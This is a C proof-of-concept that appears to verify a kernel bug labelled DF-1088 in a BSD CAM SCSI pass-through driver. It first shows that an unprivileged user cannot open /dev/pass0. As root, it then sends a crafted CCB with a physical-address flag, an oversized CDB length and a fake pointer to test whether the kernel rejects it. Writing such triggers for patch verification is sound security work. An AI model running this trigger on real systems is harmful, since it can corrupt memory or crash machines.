DF-1088 / df1088_trigger.c
/* * DF-1088 trigger โ demonstrates the access control AND the bug shape. * * The bug itself (passsendccb not stripping CAM_DATA_PHYS / not clamping * cdb_len) is gated behind caps_priv_check_self(SYSCAP_RESTRICTEDROOT) in * passopen (scsi_pass.c:308). This program: * * 1. As an unprivileged user, attempts to open /dev/pass0. The kernel * rejects with EPERM via the RESTRICTEDROOT cap check (this confirms * the trigger requires privilege โ the bug is real but the * unprivileged privesc claim is gated by an already-privileged * capability). * * 2. As root, demonstrates that an XPT_SCSI_IO CCB with CAM_DATA_PHYS set * and a cdb_len of 255 is accepted by CAMIOCOMMAND on the unpatched * kernel (the SIM would then be handed the attacker physical pointer * and over-read the CDB array). This is the bug signature. * * On a kernel with the DF-1088 fix applied, the same CCB returns EINVAL * immediately from passsendccb. * * Build: cc -o df1088_trigger df1088_trigger.c * Run: ./df1088_trigger # as unprivileged user * sudo ./df1088_trigger # as root, demonstrates the CCB shape */ #include <sys/types.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <bus/cam/cam.h> #include <bus/cam/cam_ccb.h> #include <bus/cam/scsi/scsi_pass.h> int main(int argc, char **argv) { int fd, rc; union ccb ccb; /* Step 1: prove the unprivileged path is blocked. */ fd = open("/dev/pass0", O_RDWR); if (fd < 0) { printf("[unpriv] open /dev/pass0: %s (errno=%d)\n", strerror(errno), errno); if (errno == EPERM || errno == EACCES) { printf("[unpriv] pass%d access denied at %s -- " "DF-1088 trigger is privilege-gated\n", 0, errno == EACCES ? "devfs (mode 0600)" : "caps (RESTRICTEDROOT)"); if (geteuid() != 0) { printf("[unpriv] re-run as root to exercise the " "CCB-shape signature via CAMIOCOMMAND\n"); return (0); } } else { return (0); } } else { printf("[unpriv] open /dev/pass0: SUCCEEDED (fd=%d) -- " "unexpected\n", fd); } /* Step 2 (root only): craft the malicious CCB shape. */ memset(&ccb, 0, sizeof(ccb)); ccb.ccb_h.func_code = XPT_SCSI_IO; ccb.ccb_h.flags = CAM_DIR_IN | CAM_DATA_PHYS; /* the bug */ ccb.csio.cdb_len = 255; /* also the bug โ over-read cdb_bytes[16] */ ccb.csio.data_ptr = (u_int8_t *)0xdeadbeef; /* would-be DMA target */ ccb.csio.dxfer_len = 512; rc = ioctl(fd, CAMIOCOMMAND, &ccb); printf("[root] CAMIOCOMMAND CAM_DATA_PHYS|cdb_len=255: rc=%d errno=%d (%s)\n", rc, errno, strerror(errno)); if (rc == 0 || (rc < 0 && errno != EINVAL)) { printf("[root] BUG: kernel forwarded attacker physical pointer " "to SIM without rejection (DF-1088 present)\n"); } else if (rc < 0 && errno == EINVAL) { printf("[root] FIXED: kernel rejected dangerous CCB flags " "(DF-1088 patch present)\n"); } close(fd); return (0); } |